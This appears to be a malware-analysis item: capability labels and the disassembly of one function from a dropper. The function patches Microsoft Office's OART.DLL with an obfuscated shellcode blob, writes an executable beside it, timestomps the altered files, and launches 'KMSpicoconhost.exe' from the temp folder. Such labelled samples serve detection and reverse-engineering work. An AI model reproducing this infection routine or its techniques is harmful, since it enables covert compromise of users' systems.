Function at 0x10001260
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Create process on windows
Get common file path
Timestomp file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x674
mov eax, dword [0x1000d018]
xor eax, esp
mov dword [esp + 0x670], eax
push ebx
push esi
push edi
push str.c:program_files__x86__
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x40000000
test eax, eax
je 0x100012c4
push str.C:Program_Files__x86_Microsoft_OfficeOffice15OART.DLL
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
lea ecx, [ecx]
mov cl, byte [eax + str.C:Program_Files__x86_Microsoft_OfficeOffice15OART.DLL]
mov byte [esp + eax + 0x150], cl
inc eax
cmp cl, bl
jne 0x100012b0
jmp 0x100012f2
push str.C:Program_FilesMicrosoft_OfficeOffice15OART.DLL
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
jmp 0x100012e0
mov cl, byte [eax + str.C:Program_FilesMicrosoft_OfficeOffice15OART.DLL]
mov byte [esp + eax + 0x150], cl
inc eax
cmp cl, bl
jne 0x100012e0
lea eax, [esp + 0x150]
push 0x5c
push eax
call fcn.10001be0
push 4
mov byte [eax + 1], bl
call fcn.10001b94
mov dword [esp + 0x1c], 0xe0000060
mov ecx, dword [esp + 0x1c]
push 5
mov dword [esp + 0xec], eax
mov dword [eax], ecx
call fcn.10001b94
mov esi, eax
mov dword [esp + 0x20], 0xc2d1d7e9
mov edx, dword [esp + 0x20]
mov dword [esi], edx
push 0xbe
mov byte [esi + 4], bl
call fcn.10001b94
mov dword [esp + 0x24], eax
mov ecx, dword [esp + 0x24]
push 0xbe
lea eax, [esp + 0x30]
push eax
push ecx
mov dword [esp + 0x38], 0x1bbd609c
mov dword [esp + 0x3c], 0xe87946c6
mov dword [esp + 0x40], 0x54
mov dword [esp + 0x44], 0xe8
mov dword [esp + 0x48], 0xc6835e00
mov dword [esp + 0x4c], 0x3fe8b4a
mov dword [esp + 0x50], 0x6afc7e
mov dword [esp + 0x54], 0x6a406a54
mov dword [esp + 0x58], 0xd3ff5705
mov dword [esp + 0x5c], 0x5b95a
mov dword [esp + 0x60], 0xf3fc0000
mov dword [esp + 0x64], 0x5ef83a4
mov dword [esp + 0x68], 0x5254006a
mov dword [esp + 0x6c], 0xff57056a
mov dword [esp + 0x70], 0xfcbd5ad3
mov dword [esp + 0x74], 0xe80753a4
mov dword [esp + 0x78], 0x1c
mov dword [esp + 0x7c], 0xe8
mov dword [esp + 0x80], 0xc2835a00
mov dword [esp + 0x84], 0x50c0336b
mov dword [esp + 0x88], 0xd3ff5250
mov dword [esp + 0x8c], 0xc9e99d61
mov dword [esp + 0x90], 0x8bff3d2d
mov dword [esp + 0x94], 0xec8b55ff
mov dword [esp + 0x98], 0x8b64c033
mov dword [esp + 0x9c], 0x408b3040
mov dword [esp + 0xa0], 0x1c708b0c
mov dword [esp + 0xa4], 0x8588bad
mov dword [esp + 0xa8], 0x438bd38b
mov dword [esp + 0xac], 0x35c033c
mov dword [esp + 0xb0], 0x184b8b78
mov dword [esp + 0xb4], 0x20438b49
mov dword [esp + 0xb8], 0x348bc203
mov dword [esp + 0xbc], 0xfcf20388
mov dword [esp + 0xc0], 0xc033ff33
mov dword [esp + 0xc4], 0x74c084ac
mov dword [esp + 0xc8], 0xdcfc107
mov dword [esp + 0xcc], 0xf4ebf803
mov dword [esp + 0xd0], 0x274fd3b
mov dword [esp + 0xd4], 0x438bdfe2
mov dword [esp + 0xd8], 0x33c20324
mov dword [esp + 0xdc], 0x348b66f6
mov dword [esp + 0xe0], 0x1c438b48
mov dword [esp + 0xe4], 0x1c8bc203
mov dword [esp + 0xe8], 0xc3da03b0
mov dword [esp + 0xec], 0x5246464f
mov dword [esp + 0xf0], 0x442e4443
mov word [esp + 0xf4], 0x4c4c
call fcn.10007e00
add esp, 0x20
cmp edi, 0xffffffff
je 0x100015b5
push ebx
push ebx
push 0x264
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0xdc]
push ebx
lea edx, [esp + 0xdc]
push edx
push 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ebx
push 0xd5c
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea ecx, [esp + 0xdc]
push ecx
push 5
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ebx
push 0xc2df38
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x10]
push ebx
lea edx, [esp + 0xdc]
push edx
push 0xbe
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0xdc]
cmp eax, ebx
je 0x100015c9
push eax
call fcn.10001b9f
add esp, 4
cmp esi, ebx
je 0x100015d6
push esi
call fcn.10001b9f
add esp, 4
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x100015e7
push eax
call fcn.10001b9f
add esp, 4
lea ecx, [esp + 0x150]
push ecx
lea edx, [esp + 0x364]
push str._sOFFRCD.DLL
push edx
call fcn.10001b10
lea eax, [esp + 0x15c]
push eax
lea ecx, [esp + 0x478]
push str._sOFFRHD.DLL
push ecx
call fcn.10001b10
lea edx, [esp + 0x168]
push edx
lea eax, [esp + 0x58c]
push str._sOART.DLL
push eax
call fcn.10001b10
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x24
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
lea ecx, [esp + 0x378]
push ecx
call edi
mov esi, eax
mov word [0x1000de38], 0x5a4d
cmp esi, 0xffffffff
je 0x10001689
push ebx
lea edx, [esp + 0xdc]
push edx
push 0x21e00
push 0x1000de38
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 0x2000000
push 3
push ebx
push 1
push SysReAllocStringLen
lea eax, [esp + 0x480]
push eax
call edi
push ebx
push 0x2000000
push 3
push ebx
push 1
push 0x40000000
lea ecx, [esp + 0x378]
push ecx
mov esi, eax
call edi
push ebx
push 0x2000000
push 3
push ebx
push 1
push 0x40000000
lea edx, [esp + 0x588]
push edx
mov dword [esp + 0x2c], eax
call edi
mov edi, eax
cmp esi, 0xffffffff
je 0x1000179a
cmp dword [esp + 0x10], 0xffffffff
je 0x1000179a
cmp edi, 0xffffffff
je 0x1000179a
lea eax, [esp + 0xe0]
push eax
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xf8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [esp + 0xe0]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0xec]
push ecx
lea edx, [esp + 0xf8]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
lea ecx, [esp + 0xe0]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xf8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea ecx, [esp + 0xe0]
push ecx
lea edx, [esp + 0xec]
push edx
lea eax, [esp + 0xf8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
push edi
call esi
lea edx, [esp + 0x258]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x258]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x100017b5
mov ecx, dword [str.KMSpicoconhost.exe]
mov edx, dword [0x1000c1d8]
mov dword [eax], ecx
mov ecx, dword [0x1000c1dc]
mov dword [eax + 4], edx
mov edx, dword [0x1000c1e0]
mov dword [eax + 8], ecx
mov ecx, dword [0x1000c1e4]
mov dword [eax + 0xc], edx
push 0x44
lea edx, [esp + 0xfc]
push ebx
push edx
mov dword [eax + 0x10], ecx
call fcn.10005e80
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x140]
push edx
mov dword [esp + 0x12c], eax
lea eax, [esp + 0xfc]
push eax
push ebx
push ebx
push 0x20
push ebx
push ebx
push ebx
push ebx
lea ecx, [esp + 0x27c]
push ecx
mov dword [esp + 0x120], 0x44
mov dword [esp + 0x154], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x14c], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [esp + 0x67c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.10001b01
mov esp, ebp
pop ebp
ret